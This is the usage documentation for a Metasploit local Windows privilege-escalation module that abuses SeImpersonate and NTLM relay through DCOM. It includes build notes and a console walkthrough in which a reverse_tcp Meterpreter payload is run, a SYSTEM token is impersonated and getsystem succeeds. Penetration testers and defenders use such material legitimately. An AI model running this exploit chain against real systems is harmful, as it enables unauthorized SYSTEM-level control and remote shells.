Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

Introduction

This module will abuse the SeImperonsate privilege commonly found in services due to the requirement to impersonate a client upon authentication. As such it is possible to impersonate the SYSTEM account and relay its NTLM hash to RPC via DCOM. The DLL will perform a MiTM attack at which intercepts the hash and relay responses from RPC to be able to establish a handle to a new SYSTEM token. Some caveats : Set your target option to match the architecture of your Meterpreter session, else it will inject the wrong architecture DLL into the process of a separate architecture. Additionally, after you have established a session, you must use incognito to imperonsate the SYSTEM Token.

Build Instructions

This builds using visual studio 2017 and tools v141. Attempts to compile with previous verstions of build tools will succeed but the resulting binary fails to exploit the vulnerability.

Usage

You'll first need to obtain a session on the target system. Next, once the module is loaded, one simply needs to set the payload and session options, in addition to architecture.

Your user at which you are trying to exploit must have SeImpersonate privileges.

The module has a hardcoded timeout of 20 seconds, as the attack may not work immediately and take a few seconds to start. Also, check to make sure port 6666 is inherently not in use else the exploit will not run properly.

Scenarios

  Name Current Setting Required Description
   ---- --------------- -------- -----------
   SESSION 48 yes The session to run this module on. Payload options
(windows/x64/meterpreter/reverse_tcp):
   Name Current Setting Required Description
   ---- --------------- -------- -----------
   EXITFUNC thread yes Exit technique (Accepted: '', seh, thread,
process, none)
   LHOST ens3 yes The listen address (an interface may be specified)
   LPORT 3312 yes The listen port Exploit target:
   Id Name
   -- ----
   1 Windows x64 msf exploit(windows/local/ms16_075_reflection) > run
[*] Started reverse TCP handler on -snip-:3312
[+] Reflectively injecting the exploit DLL and triggering the exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (206403 bytes) to -snip-
[*] Meterpreter session 49 opened (-snip-:3312 -> -snip-:55306) at 2018-08-03 01:54:18 -0400
meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > impersonate_token
'NT AUTHORITY\SYSTEM'
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getsystem -t 1 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >